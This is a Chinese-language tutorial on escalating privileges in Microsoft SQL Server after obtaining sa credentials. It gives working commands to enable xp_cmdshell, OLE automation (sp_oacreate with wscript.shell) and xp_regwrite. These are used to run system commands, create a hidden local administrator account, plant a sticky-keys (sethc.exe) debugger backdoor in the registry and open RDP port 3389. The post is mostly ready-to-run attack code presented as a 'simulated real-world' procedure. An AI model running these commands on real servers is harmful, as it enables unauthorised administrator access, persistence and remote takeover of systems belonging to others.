1、MSSQL概述
MSSQL(MicroSoft SQL Server数据库),是微软开发的关系型数据库管理系统DBMS,是一个较大型的数据库,提供数据库的从服务器到终端的完整的解决方案,数据库管理系统SSMS(SQL Server Managerment Studio),是一个用于建立、使用和维护数据库的集成开发环境。 端口号:1433
SA用户
在搭建时,选择使用SQL Server身份验证会创建SA账户并设置密码,SA(System Administrator)表示系统管理员,在SQLServer2019之前的SA用户都是系统最高权限用户SYSTEM,但在2019版本时为普通数据库用户mssqlserver,是一个低权用户。
MSSQL权限级别
sa权限:数据库操作,文件管理,命令执行,注册表读取等价于system,SQLServer数据库的最高权限
db权限:文件管理,数据库操作等价于 users-administrators
public权限:数据库操作等价于 guest-users
2、常规使用
查看数据库版本
select @@VERSION
获取MSSQL中的所有数据库名
SELECT name FROM MASter..SysDatabASes ORDER BY name
查询所有数据库中的表名
SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200
exec xp_dirtree 'c:' # 列出所有c:\文件、目录、子目录
exec xp_dirtree 'c:',1 # 只列c:\目录
exec xp_dirtree 'c:',1,1 # 列c:\目录、文件
exec xp_subdirs 'C:'; # 只列c:\目录
select is_srvrolemember('sysadmin') # 判断是否是SA权限
select is_member('db_owner') # 判断是否是db_owner权限
select is_srvrolemember('public') # 判断是否是public权限
EXEC sp_configure 'Ole Automation Procedures' #查看OLE Automation Procedures的当前设置
3、xp_cmdshell提权
xp_cmdshell是Sql Server中的一个组件,将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。通常在拿到sa口令之后,可以通过xp_cmdshell来进行提权。
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除
只要该数据库存在该组件,就可以利用
查看xp_cmdshell状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回1表示xp_cmdshell组件启用
如果没有启用,则开启该组件,命令为:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
同样,关闭组件命令为
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE
执行系统命令如下(任意一条都可以)
exec xp_cmdshell "whoami"
master..xp_cmdshell 'whoami' (2008版上好像用不了)
EXEC master..xp_cmdshell "whoami"
EXEC master.dbo.xp_cmdshell "ipconfig"
模拟实战
提前条件:已取得内部服务器sql server 的sa 权限
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"
rdp登录成功
4、sp_oacreate提权
sp_oacreate系统存储过程可以用于对文件删除、复制、移动等操作,还可以配合sp_oamethod系统存储过程调用系统wscript.shell来执行系统命令。sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言。
系统管理员使用sp_configure启用sp_oacreate和sp_oamethod系统存储过程对OLE自动化过程的访问(OLE Automation Procedures)
在效果方面,sp_oacreate、sp_oamethod两个过程和xp_cmdshell过程功能类似,因此可以替换使用!
利用条件:
1.已获取到sqlserver sysadmin权限用户的账号与密码且未降权(如2019版本sa用户权限为mssqlserver,已降权)
2.sqlserver允许远程连接
3.OLE Automation Procedures选项开启
查看sp_oacreate状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
启用OLE Automation Procedures选项
当启用 OLE Automation Procedures 时,对 sp_OACreate 的调用将会启动 OLE 共享执行环境。
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;
关闭该组件命令如下
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;
利用sp_oacreate和sp_oamethod执行命令
写入文件
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\sqltest.txt';
回显0表示成功
由于这里是无回显的命令执行,到另一台主机上查看效果,成功写入。
删除文件
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:\sqltest.txt'
exec sp_oadestroy @fso_token
查看文件已删除
同样,增加用户和添加用户至本地管理员组中,命令如下
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c "net user hacker admin@1234 /add" >c:\\sqltest.txt'; //添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c "net localgroup administrators hacker /add" >c:\\sqltest.txt'; //用户加入本地管理员组中
5、xp_regwrite提权
通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持。
前提条件:
1.未禁止注册表编辑(即写入功能)
2.xp_regwrite启用
查看xp_regwrite是否启用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
xp_regwrite开启
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_regwrite',1;
RECONFIGURE;
共同,关闭该组件命令
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_regwrite',0;
RECONFIGURE;
利用regwrite函数修改组注册表进行劫持
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
查看是否修改成功文件
显示已修改为cmd.exe
目标主机上,显示也已修改
连按5次粘滞键,弹出cmd框
删除粘滞键的键值
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
到目标主机上查看,发现sethc.exe在注册表中的值已删除
开启3389端口
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"